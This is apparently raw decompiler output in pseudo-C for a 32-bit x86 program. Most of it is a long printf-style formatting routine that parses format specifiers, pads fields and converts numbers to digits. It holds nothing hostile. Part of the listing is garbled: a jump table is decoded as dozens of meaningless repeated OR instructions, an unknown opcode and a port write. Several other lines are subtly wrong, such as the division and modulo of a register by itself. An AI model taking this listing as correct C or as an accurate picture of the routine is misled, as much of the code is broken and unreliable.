ebx = esi - *(A8 + 4); if(A18 >= 0) { esi = esi + 1; if(A18 > 0) { ebx = ebx + 1; } } (save)ebx; (save) *(A8 + 4); (save)Vfffffffc; L0805652C(); *(A8 + 4) = esi; eax = Vfffffff8 + ebx; goto L0804f7e2; L0804f7dc: eax = Vfffffffc - Ac; L0804f7e2: esp = ebp - 20; } /* Procedure: 0x0804F7EC - 0x0804F804 * Argument size: 8 * Local size: 0 * Save regs size: 0 */ L0804F7EC(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { return(L0804F888(0x8078750, A8, & Ac)); } /* Procedure: 0x0804F805 - 0x0804F807 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804F805() { } /* Procedure: 0x0804F808 - 0x0804F81F * Argument size: 12 * Local size: 0 * Save regs size: 0 */ L0804F808(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { return(L0804F820(A8, Ac, & A10)); } /* Procedure: 0x0804F820 - 0x0804F884 * Argument size: 12 * Local size: 96 * Save regs size: 12 */ L0804F820(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void edi; /* unknown */ void Vffffffa0; /* unknown */ void Vffffffb4; /* unknown */ void Vffffffb8; /* unknown */ void Vfffffff0; ebx = A8; (save)0; edi = & Vffffffa0; (save)edi; L08061F34(); Vfffffff0 = 0x80787fc; (save)ebx; (save)-1; (save)ebx; (save)edi; L08052E80(); (save)A10; (save)Ac; (save)edi; ebx = L0804F888(); esp = esp + 36; if(Vffffffb8 <= Vffffffb4) { L08061910(edi, 0); } else { *Vffffffb4 = 0; Vffffffb4 = Vffffffb4 + 1; } eax = ebx; esp = ebp - 108; } /* Procedure: 0x0804F885 - 0x0804F887 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804F885() { } /* Procedure: 0x0804F888 - 0x080529CA * Argument size: 12 * Local size: 1268 * Save regs size: 12 */ L0804F888(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffb10; /* unknown */ void Vfffffb14; /* unknown */ void Vfffffb18; /* unknown */ void Vfffffb1c; /* unknown */ void Vfffffb20; /* unknown */ void Vfffffb24; /* unknown */ void Vfffffb28; /* unknown */ void Vfffffb2c; /* unknown */ void Vfffffb30; /* unknown */ void Vfffffb34; /* unknown */ void Vfffffb38; /* unknown */ void Vfffffb3c; /* unknown */ void Vfffffb40; /* unknown */ void Vfffffb44; /* unknown */ void Vfffffb48; /* unknown */ void Vfffffb4c; /* unknown */ void Vfffffb50; /* unknown */ void Vfffffb54; /* unknown */ void Vfffffb58; /* unknown */ void Vfffffb5c; /* unknown */ void Vfffffb60; /* unknown */ void Vfffffb64; /* unknown */ void Vfffffb68; /* unknown */ void Vfffffb6c; /* unknown */ void Vfffffb70; /* unknown */ void Vfffffb74; /* unknown */ void Vfffffb78; /* unknown */ void Vfffffb7c; /* unknown */ void Vfffffb80; /* unknown */ void Vfffffb84; /* unknown */ void Vfffffb88; /* unknown */ void Vfffffb8c; /* unknown */ void Vfffffb90; /* unknown */ void Vfffffb94; /* unknown */ void Vfffffb98; /* unknown */ void Vfffffb9c; /* unknown */ void Vfffffba0; /* unknown */ void Vfffffba4; /* unknown */ void Vfffffba8; /* unknown */ void Vfffffbb0; /* unknown */ void Vfffffbc4; /* unknown */ void Vfffffbc8; /* unknown */ void Vfffffbcc; /* unknown */ void Vfffffbd0; /* unknown */ void Vfffffbd4; /* unknown */ void Vfffffbd8; /* unknown */ void Vfffffbdc; /* unknown */ void Vfffffbe0; /* unknown */ void Vfffffbe4; /* unknown */ void Vfffffbe8; /* unknown */ void Vfffffbec; /* unknown */ void Vfffffbf0; /* unknown */ void Vfffffbf4; /* unknown */ void Vfffffbf8; /* unknown */ void Vfffffbfc; /* unknown */ void Vfffffc00; /* unknown */ void Vfffffc04; /* unknown */ void Vfffffc08; /* unknown */ void Vfffffc0c; /* unknown */ void Vfffffc10; /* unknown */ void Vfffffc14; /* unknown */ void Vfffffc18; /* unknown */ void Vffffffff; esi = Ac; if(A8 != 0) { ecx = A8; edx = *ecx & -65536; if(edx == -72548352 && !( *ecx & 8) && esi != 0) { ebx = A8; if(!( *ebx & 2)) { edi = A10; (save)edi; (save)esi; (save)ebx; eax = L08052DE8(); goto L080529be; } Vfffffb9c = 0; eax = L0805602C(0, 0, 0); Vfffffb10 = esi; if(*esi != 0) { L0804f908: ecx = Vfffffb10; if(*ecx != 37) { if(*ecx < 0) { eax = L0805602C(0, ecx, 1); if(eax > 0) { goto L0804f934; } } Vfffffb10 = Vfffffb10 + 1; goto L0804f93a; L0804f934: Vfffffb10 = Vfffffb10 + eax; L0804f93a: ebx = Vfffffb10; if(*ebx != 0) { goto L0804f908; } } } edi = Vfffffb10; Vfffffba4 = edi; Vfffffc00 = edi; ecx = A8; edx = *(ecx + 80); ebx = Vfffffba4 - esi; edx = *(edx + 52); eax = *edx(ecx, esi, ebx); if(eax != ebx) { goto L08050e72; } Vfffffb9c = Vfffffb9c + eax; edx = Vfffffc00; if(*edx == 0) { goto L080529b8; } Vfffffba0 = 0; edi = A10; Vfffffb98 = edi; Vfffffba8 = -1; L0804f9ac: Vfffffb94 = 0; Vfffffb90 = 0; Vfffffb8c = 0; Vfffffb88 = 0; Vfffffb84 = 0; esi = 0; Vfffffb80 = 0; Vfffffb7c = 0; Vfffffb74 = 0; Vfffffb70 = -1; Vfffffb6c = 32; edx = Vfffffc00 + 1; Vfffffc00 = edx; dl = *edx; Vfffffb60 = dl; edx = Vfffffb60 & 255; if(edx > 120) { goto L08050e7c; } goto *(edx * 4 + 0x804fa3c)[L08050e72, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L0804fc20, L08050e7c...]goto ( *(edx * 4 + 0x804fa3c)); L0804fc20: edx = Vfffffb60 & 255; if(edx > 120) { goto L08050e7c; } goto ( *(edx * 4 + 0x804fc38)); < ? L0804fc48 : ; eax = eax + 84835336; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + edi * 8) = *(esi + edi * 8) | bl; if(!(al = al + 8)) { eax = eax + 84835336; *(esi + edi * 8 + 4) = *(esi + edi * 8 + 4) | dl; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esp + eax + 5) = *(esp + eax + 5) | ah; } *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(eax + 2080900350) = *(eax + 2080900350) | al; (save)cs; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + edi * 8) = *(esi + edi * 8) | ch; if(!(al = eax + 84835336 + 8)) { eax = eax + 83770376; *(eax + eax + 243009541) = *(eax + eax + 243009541) | ch; eax = eax + 83780616; } *(eax + eax) = *(eax + eax) | cl; eax = eax + 83889160; *(eax + eax) = *(eax + eax) | cl; eax = eax + 83889160; *(eax + eax) = *(eax + eax) | cl; eax = eax + 83889160; *(eax + eax) = *(eax + eax) | cl; eax = eax + 83889160; *(eax + eax) = *(eax + eax) | cl; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(ecx + ecx + 5) = *(ecx + ecx + 5) | dh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(ecx + ecx + 5) = *(ecx + ecx + 5) | dh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *eax = *eax | bl; al = eax + 84835336 + *L050E7C08; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(ebp + eax + 243009541) = *(ebp + eax + 243009541) | cl; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(edx + ecx + 5) = *(edx + ecx + 5) | bh; *(eax + 1946682628) = *(eax + 1946682628) | ah; *L05097408 = *L05097408 | eax; *(ecx + ecx + 5) = *(ecx + ecx + 5) | dh; *eax = *eax | bl; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *eax = *eax | bl; al = eax + 84023304 + *L0504A008 + *L050DA008; *eax = *eax | dl; *eax = *eax | bl; *(ebx + ecx) = *(ebx + ecx) | dh; eax = (eax | 92276741) + 84714504 + *L050E7C08 + 84835336; *(ebp + eax + 5) = *(ebp + eax + 5) | dh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(esi + ecx + 5) = *(esi + ecx + 5) | bh; *(ebp + eax + -2050553851) = *(ebp + eax + -2050553851) | cl; asm("sti"); asm("Unknown opcode 0xff"); *ecx = *ecx + 1; *eax = *eax + al; cl = cl + ch; asm("out 0x0,eax"); *eax = *eax + al; Vfffffb88 = 1; goto L0804ff12; Vfffffb8c = 1; Vfffffb6c = 32; goto L0804ff12; Vfffffb94 = 1; goto L0804ff12; if(Vfffffb8c == 0) { Vfffffb6c = 48; goto L0804ff12; Vfffffb84 = 1; if(Vfffffba8 == -1) { edx = *( *L08078890 + 16); Vfffffb28 = edx; al = 0; Vfffffb14 = edx; edi = edx; asm("cld"); ecx = -1; asm("repne scasb"); edx = !ecx - 1; ecx = Vfffffb28; eax = L0805602C( & Vfffffc08, ecx, edx); if(eax <= 0) { edx = *( *( *L08078890 + 16)) & 255; Vfffffc08 = edx; } edx = *( *L08078890 + 20); Vfffffba8 = edx; if(*edx == 0 || *edx == 255) { goto L0804ff08; } if(Vfffffc08 == 0) { L0804ff08: Vfffffba8 = 0; } } } L0804ff12: edx = Vfffffc00 + 1; Vfffffc00 = edx; dl = *edx; Vfffffb60 = dl; if(dl != 42) { goto L0804fc20; } edx = Vfffffc00 + 1; Vfffffc00 = edx; Vfffffc04 = edx; edx = *Vfffffc04 & 255; ebx = *L08078FA0; Vfffffb1c = ebx; if(!( *(ebx + edx * 2 + 1) & 8)) { edx = edx + -48; Vfffffb10 = edx; Vfffffc04 = Vfffffc04 + 1; eax = Vfffffc04; edx = *eax & 255; if(!( *(ebx + edx * 2 + 1) & 8)) { Vfffffb1c = ebx; L0804ff80: edi = Vfffffb10; edx = edi + edi * 8 + edi - 48; Vfffffb20 = edx; edx = ( *eax & 255) + Vfffffb20; Vfffffb10 = edx; Vfffffc04 = Vfffffc04 + 1; eax = Vfffffc04; edx = *eax & 255; ecx = Vfffffb1c; if(*(ecx + edx * 2 + 1) & 8) { goto L0804ff80; } } if(Vfffffb10 != 0) { edx = Vfffffc04; if(*edx == 36) { goto L08050e7c; } } } A10 = A10 + 4; ebx = *(A10 - 4); Vfffffb74 = ebx; if(ebx < 0) { ebx = ~ebx; Vfffffb74 = ebx; Vfffffb6c = 32; Vfffffb8c = 1; goto L0805009d; edx = *Vfffffc00 & 255; Vfffffb10 = edx; Vfffffb10 = Vfffffb10 + -48; Vfffffc00 = Vfffffc00 + 1; eax = Vfffffc00; edx = *eax & 255; edi = *L08078FA0; Vfffffb1c = edi; if(!( *(edi + edx * 2 + 1) & 8)) { L08050044: ecx = Vfffffb10; edx = ecx + ecx * 8 + ecx - 48; Vfffffb20 = edx; edx = ( *eax & 255) + Vfffffb20; Vfffffb10 = edx; Vfffffc00 = Vfffffc00 + 1; eax = Vfffffc00; edx = *eax & 255; ebx = Vfffffb1c; if(*(ebx + edx * 2 + 1) & 8) { goto L08050044; } } edi = Vfffffb10; Vfffffb74 = edi; edx = Vfffffc00; if(*edx == 36) { goto L08050e7c; } } L0805009d: edx = Vfffffc00; if(*edx == 46) { Vfffffc00 = Vfffffc00 + 1; edx = Vfffffc00; if(*edx == 42) { Vfffffc00 = Vfffffc00 + 1; edx = Vfffffc00; Vfffffbfc = edx; edx = *Vfffffbfc & 255; ecx = *L08078FA0; Vfffffb1c = ecx; if(!( *(ecx + edx * 2 + 1) & 8)) { edx = edx + -48; Vfffffb10 = edx; Vfffffbfc = Vfffffbfc + 1; eax = Vfffffbfc; edx = *eax & 255; if(!( *(ecx + edx * 2 + 1) & 8)) { Vfffffb1c = ecx; L08050110: ebx = Vfffffb10; edx = ebx + ebx * 8 + ebx - 48; Vfffffb20 = edx; edx = ( *eax & 255) + Vfffffb20; Vfffffb10 = edx; Vfffffbfc = Vfffffbfc + 1; eax = Vfffffbfc; edx = *eax & 255; edi = Vfffffb1c; if(*(edi + edx * 2 + 1) & 8) { goto L08050110; } } if(Vfffffb10 != 0) { edx = Vfffffbfc; if(*edx == 36) { goto L08050e7c; } } } A10 = A10 + 4; ecx = *(A10 - 4); Vfffffb70 = ecx; } else { edx = *Vfffffc00 & 255; ebx = *L08078FA0; Vfffffb1c = ebx; if(!( *(ebx + edx * 2 + 1) & 8)) { edx = edx + -48; Vfffffb10 = edx; Vfffffc00 = Vfffffc00 + 1; eax = Vfffffc00; edx = *eax & 255; if(!( *(ebx + edx * 2 + 1) & 8)) { Vfffffb1c = ebx; L080501c0: edi = Vfffffb10; edx = edi + edi * 8 + edi - 48; Vfffffb20 = edx; edx = ( *eax & 255) + Vfffffb20; Vfffffb10 = edx; Vfffffc00 = Vfffffc00 + 1; eax = Vfffffc00; edx = *eax & 255; if(*(Vfffffb1c + edx * 2 + 1) & 8) { goto L080501c0; } } ebx = Vfffffb10; Vfffffb70 = ebx; } else { Vfffffb70 = 0; } } } L08050218: edx = Vfffffc00; Vfffffb60 = *edx; edx = Vfffffb60 & 255; if(edx > 120) { goto L08050e7c; } goto *(edx * 4 + 0x805023c)[L08050e72, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c...]goto ( *(edx * 4 + 0x805023c)); Vfffffb80 = 1; goto L08050459; if(Vfffffb7c == 0) { Vfffffb7c = 1; goto L08050459; esi = 0; Vfffffb7c = 0; } else { esi = 1; } L08050459: Vfffffc00 = Vfffffc00 + 1; goto L08050218; edi = A8; if(*(edi + 24) <= *(edi + 20)) { eax = L08061910(edi, 37); if(eax == -1) { goto L08050e72; } } else { ecx = A8; edx = *(ecx + 20); *edx = 37; *(ecx + 20) = *(ecx + 20) + 1; } Vfffffb9c = Vfffffb9c + 1; goto L08050dc4; Vfffffb10 = 10; if(esi != 0) { A10 = A10 + 8; ebx = A10; edi = *(ebx - 8); Vfffffb14 = edi; edi = *(ebx - 4); Vfffffb18 = edi; Vfffffb78 = 0; if(Vfffffb18 < 0) { Vfffffb78 = Vfffffb78 + 1; } ecx = Vfffffb14; Vfffffb14 = ecx; ecx = Vfffffb18; Vfffffb18 = ecx; if(Vfffffb78 != 0) { Vfffffb14 = ~Vfffffb14; asm("adc dword [ebp+0xfffffb18],+0x0"); Vfffffb18 = ~Vfffffb18; } ebx = Vfffffb14; Vfffffb64 = ebx; ebx = Vfffffb18; Vfffffb68 = ebx; goto L080505d5; } if(Vfffffb7c != 0) { A10 = A10 + 4; edi = A10; edx = *(edi - 4); } else { ecx = A10; edx = *(ecx - 4); } ebx = edx >> 31; Vfffffb78 = ebx; if(!(A10 = A10 + 4)) { edx = ~edx; } Vfffffb64 = edx; goto L080506c4; Vfffffb10 = 10; goto L08050596; Vfffffb10 = 8; goto L08050596; Vfffffb10 = 16; L08050596: Vfffffb78 = 0; Vfffffb88 = 0; Vfffffb90 = 0; if(esi != 0) { A10 = A10 + 8; edi = A10; ecx = *(edi - 8); Vfffffb64 = ecx; Vfffffb68 = *(edi - 4); L080505d5: if(Vfffffb70 >= 0) { Vfffffb6c = 32; if(Vfffffb70 != 0 || Vfffffb64 != 0 || Vfffffb68 != 0) { goto L08050612; } esi = & Vffffffff; } else { Vfffffb70 = 1; L08050612: ebx = Vfffffb10; eax = L08062714(Vfffffb64, Vfffffb68, ebp, ebx, 0); esi = eax - 1; if(Vfffffb84 != 0 && Vfffffba8 != 0) { edx = Vfffffc08; edi = Vfffffba8; eax = L08052C9C(esi, & Vffffffff, edi, edx); esi = eax; } } edx = 0; if(Vfffffb64 != 0 || Vfffffb68 != 0) { edx = 1; } Vfffffb64 = edx; } else { if(Vfffffb7c != 0) { A10 = A10 + 4; ecx = *(A10 - 4); Vfffffb64 = ecx; } else { A10 = A10 + 4; ebx = *(A10 - 4); Vfffffb64 = ebx; } L080506c4: if(Vfffffb70 >= 0) { Vfffffb6c = 32; if(Vfffffb70 != 0 || Vfffffb64 != 0) { goto L080506fa; } esi = & Vffffffff; } else { Vfffffb70 = 1; L080506fa: edx = Vfffffb64; eax = edx; edx = ebp; Vfffffb14 = "0123456789abcdefghijklmnopqrstuvwxyz"; if(Vfffffb60 == 88) { Vfffffb14 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; } esi = edx; if(Vfffffb10 != 10) { > ? L0805073c : ; if(Vfffffb10 == 8) { goto L0805077c; } goto L08050794; if(Vfffffb10 == 16) { goto L08050764; } } else { L08050748: esi = esi - 1; edx = 0; edi = 10 / 10; edx = edi % edi; ecx = Vfffffb14; dl = *(edx + ecx); *esi = dl; if(eax != 0) { goto L08050748; } goto L080507ac; L08050764: esi = esi - 1; ebx = Vfffffb14; dl = *(edx + ebx); *esi = dl; eax = eax >> 4; if(edx = eax & 15) { goto L08050764; } goto L080507ac; L0805077c: esi = esi - 1; edi = Vfffffb14; dl = *(edx + edi); *esi = dl; eax = eax >> 3; if(edx = eax & 7) { goto L0805077c; } goto L080507ac; } L08050794: esi = esi - 1; edx = 0; Vfffffb10 = Vfffffb10 / Vfffffb10; edx = Vfffffb10 % Vfffffb10; *esi = *(edx + Vfffffb14); if(eax != 0) { goto L08050794; } L080507ac: esi = esi - 1; if(Vfffffb84 != 0 && Vfffffba8 != 0) { edx = Vfffffc08; ebx = Vfffffba8; eax = L08052C9C(esi, & Vffffffff, ebx, edx); esi = eax; } } } edx = !esi + ebp; Vfffffb74 = Vfffffb74 - edx; Vfffffb70 = Vfffffb70 - edx; if(Vfffffb64 != 0 && Vfffffb94 != 0 && Vfffffb10 == 8) { if(Vfffffb70 > 0) { goto L08050825; } *esi = 48; esi = esi - 1; Vfffffb74 = Vfffffb74 - 1; } if(Vfffffb70 > 0) { L08050825: edi = Vfffffb70; Vfffffb74 = Vfffffb74 - edi; edx = Vfffffb70; edi = edi - 1; Vfffffb70 = edi; if(edx > 0) { L08050844: *esi = 48; esi = esi - 1; edx = Vfffffb70; Vfffffb70 = Vfffffb70 - 1; if(edx > 0) { goto L08050844; } } } if(Vfffffb64 != 0 && Vfffffb94 != 0 && Vfffffb10 == 16) { Vfffffb74 = Vfffffb74 + -2; } if(Vfffffb78 != 0 || Vfffffb88 != 0 || Vfffffb90 != 0) { Vfffffb74 = Vfffffb74 - 1; } if(Vfffffb8c == 0 && Vfffffb6c == 48) { goto L080508b4; L080508b0: *esi = 48; esi = esi - 1; L080508b4: edx = Vfffffb74; Vfffffb74 = Vfffffb74 - 1; if(edx > 0) { goto L080508b0; } } if(Vfffffb64 != 0 && Vfffffb94 != 0 && Vfffffb10 == 16) { *esi = Vfffffb60; esi = esi - 1; *esi = 48; esi = esi - 1; } if(Vfffffb78 != 0) { *esi = 45; goto L08050918; } if(Vfffffb88 != 0) { *esi = 43; goto L08050918; } if(Vfffffb90 != 0) { *esi = 32; L08050918: esi = esi - 1; } if(Vfffffb8c == 0 && Vfffffb6c == 32) { goto L08050934; L08050930: *esi = 32; esi = esi - 1; L08050934: edx = Vfffffb74; Vfffffb74 = Vfffffb74 - 1; if(edx > 0) { goto L08050930; } } ebx = *(A8 + 80); edi = !esi + ebp; edx = esi + 1; edx = *(ebx + 52); eax = *edx(A8, edx, edi); if(eax != edi) { goto L08050e72; } Vfffffb9c = Vfffffb9c + eax; goto L08050b07; ecx = Vfffffb70; Vfffffbcc = ecx; ebx = Vfffffb74; Vfffffbd0 = ebx; cl = Vfffffb60; Vfffffbd4 = cl; Vfffffbd8 = esi; ebx = Vfffffb80; Vfffffbdc = ebx; edi = Vfffffb7c; Vfffffbe0 = edi; ecx = Vfffffb94; Vfffffbe4 = ecx; ebx = Vfffffb90; Vfffffbe8 = ebx; edi = Vfffffb8c; Vfffffbec = edi; ecx = Vfffffb88; Vfffffbf0 = ecx; ebx = Vfffffb84; Vfffffbf4 = ebx; Vfffffbf8 = Vfffffb6c; eax = 0x8053310; if(esi != 0) { A10 = A10 + 12; ebx = A10; edx = *(ebx - 12); Vfffffc0c = edx; edx = *(ebx - 8); Vfffffc10 = edx; edx = *(ebx - 4); Vfffffc14 = edx; } else { A10 = A10 + 8; edi = A10; edx = *(edi - 8); Vfffffc0c = edx; edx = *(edi - 4); Vfffffc10 = edx; } Vfffffbc8 = & Vfffffc0c; edx = & Vfffffbc8; ebx = A8; eax = *eax(ebx, & Vfffffbcc, edx); if(eax < 0) { goto L08050e72; } Vfffffb9c = Vfffffb9c + eax; goto L08050dc4; Vfffffb74 = Vfffffb74 - 1; if(Vfffffb8c == 0 && Vfffffb74 > 0) { edi = Vfffffb74; L08062534(A8, 32, edi); Vfffffb9c = Vfffffb9c + eax; } A10 = A10 + 4; ebx = A10; eax = *(ebx - 4) & 255; edi = A8; edx = *(edi + 20); if(*(edi + 24) <= edx) { eax = L08061910(edi, al & 255); if(eax == -1) { goto L08050e72; } } else { ecx = A8; edx = *(ecx + 20); Vfffffb28 = al; *edx = al; edx = Vfffffb28 & 255; *(ecx + 20) = *(ecx + 20) + 1; if(edx == -1) { goto L08050e72; } } Vfffffb9c = Vfffffb9c + 1; L08050b07: if(Vfffffb8c != 0 && Vfffffb74 > 0) { ebx = Vfffffb74; (save)ebx; (save)32; (save)A8; goto L08050c8f; A10 = A10 + 4; ecx = A10; esi = *(ecx - 4); L08050b3e: if(esi == 0) { if(Vfffffb70 == -1 || Vfffffb70 > 5) { esi = "(null)"; Vfffffb10 = 6; } else { esi = 0x8067eeb; Vfffffb10 = 0; } } else { if(Vfffffb70 != -1) { goto L08050bdc; } al = 0; edi = esi; asm("cld"); ecx = -1; asm("repne scasb"); edx = !ecx - 1; Vfffffb10 = edx; if(Vfffffb74 == 0) { edi = A8; edx = *(edi + 80); eax = *( *(edx + 52))(edi, esi, Vfffffb10); if(Vfffffb10 != eax) { goto L08050e72; } ebx = Vfffffb10; Vfffffb9c = Vfffffb9c + ebx; goto L08050dc4; L08050bdc: ebx = Vfffffb70; eax = L080575C0(esi, 0, ebx); Vfffffb10 = ebx; if(eax != 0) { eax = eax - esi; Vfffffb10 = eax; } } } edi = Vfffffb10; Vfffffb74 = Vfffffb74 - edi; if(Vfffffb8c == 0 && Vfffffb74 > 0) { ebx = A8; eax = L08062534(ebx, 32, Vfffffb74); Vfffffb9c = Vfffffb9c + eax; } edi = A8; edx = *(edi + 80); eax = *( *(edx + 52))(edi, esi, Vfffffb10); if(Vfffffb10 != eax) { goto L08050e72; } ebx = Vfffffb10; Vfffffb9c = Vfffffb9c + ebx; if(Vfffffb8c != 0 && Vfffffb74 > 0) { edi = Vfffffb74; (save)edi; (save)32; (save)A8; L08050c8f: eax = L08062534(); Vfffffb9c = Vfffffb9c + eax; esp = esp + 12; goto L08050dc4; A10 = A10 + 4; ebx = A10; edx = *(ebx - 4); if(edx != 0) { Vfffffb10 = 16; Vfffffb64 = edx; Vfffffb78 = 0; Vfffffb94 = 1; Vfffffb84 = 0; Vfffffb60 = 120; goto L080506c4; } esi = "(nil)"; if(Vfffffb70 > 4) { goto L08050b3e; } Vfffffb70 = 5; goto L08050b3e; if(esi != 0) { A10 = A10 + 4; edi = A10; eax = *(edi - 4); ecx = Vfffffb9c; ebx = 0; Vfffffb20 = ecx; Vfffffb24 = 0; ebx = Vfffffb20; *eax = ebx; ebx = Vfffffb24; *(eax + 4) = ebx; } else { if(Vfffffb7c != 0) { A10 = A10 + 4; edi = A10; edx = *(edi - 4); ecx = Vfffffb9c; *edx = ecx; } else { if(Vfffffb80 == 0) { A10 = A10 + 4; ebx = A10; edx = *(ebx - 4); edi = Vfffffb9c; *edx = edi; } else { A10 = A10 + 4; edx = *(A10 - 4); *edx = Vfffffb9c; goto L08050dc4; edx = & Vfffffc18; eax = L08056E14( *L08078B14, edx, 1000); esi = eax; goto L08050b3e; } } } } } L08050dc4: Vfffffc00 = Vfffffc00 + 1; esi = Vfffffc00; Vfffffb10 = esi; if(*esi != 0) { L08050ddc: edi = Vfffffb10; if(*edi != 37) { if(*edi < 0) { eax = L0805602C(0, edi, 1); if(eax > 0) { goto L08050e08; } } Vfffffb10 = Vfffffb10 + 1; goto L08050e0e; L08050e08: Vfffffb10 = Vfffffb10 + eax; L08050e0e: ecx = Vfffffb10; if(*ecx != 0) { goto L08050ddc; } } } ebx = Vfffffb10; Vfffffc00 = ebx; edx = Vfffffc00 - esi; edx = *( *(A8 + 80) + 52); eax = *edx(A8, esi, edx); edx = Vfffffc00 - esi; if(eax != edx) { goto L08050e72; } Vfffffb9c = Vfffffb9c + eax; edx = Vfffffc00; if(*edx != 0) { goto L0804f9ac; } goto L080529b8; } } *L08078B14 = 22; L08050e72: eax = -1; goto L080529be; L08050e7c: Vfffffb58 = 32; esp = esp + -2816; Vfffffb54 = esp; Vfffffb5c = 0; Vfffffb50 = 0; Vfffffbc4 = 0; if(Vfffffba8 == -1) { edx = *( *L08078890 + 16); Vfffffb20 = edx; al = 0; esi = Vfffffb20; edi = esi; asm("cld"); ecx = -1; asm("repne scasb"); edx = !ecx - 1; if(L0805602C( & Vfffffc08, Vfffffb20, edx) <= 0) { edx = *( *( *L08078890 + 16)) & 255; Vfffffc08 = edx; } edx = *( *L08078890 + 20); Vfffffba8 = edx; if(*edx == 0 || *edx == 255) { goto L08050f2e; } if(Vfffffc08 == 0) { L08050f2e: Vfffffba8 = 0; } } ebx = Vfffffba4; Vfffffc00 = ebx; if(*ebx != 0) { edi = Vfffffb5c; edx = edi + (edi + edi * 4) * 2 << 3; Vfffffb2c = edx; L08050f64: ecx = Vfffffb58; if(Vfffffb5c >= ecx) { esi = Vfffffb54; ecx = ecx + ecx; Vfffffb58 = ecx; edx = ecx 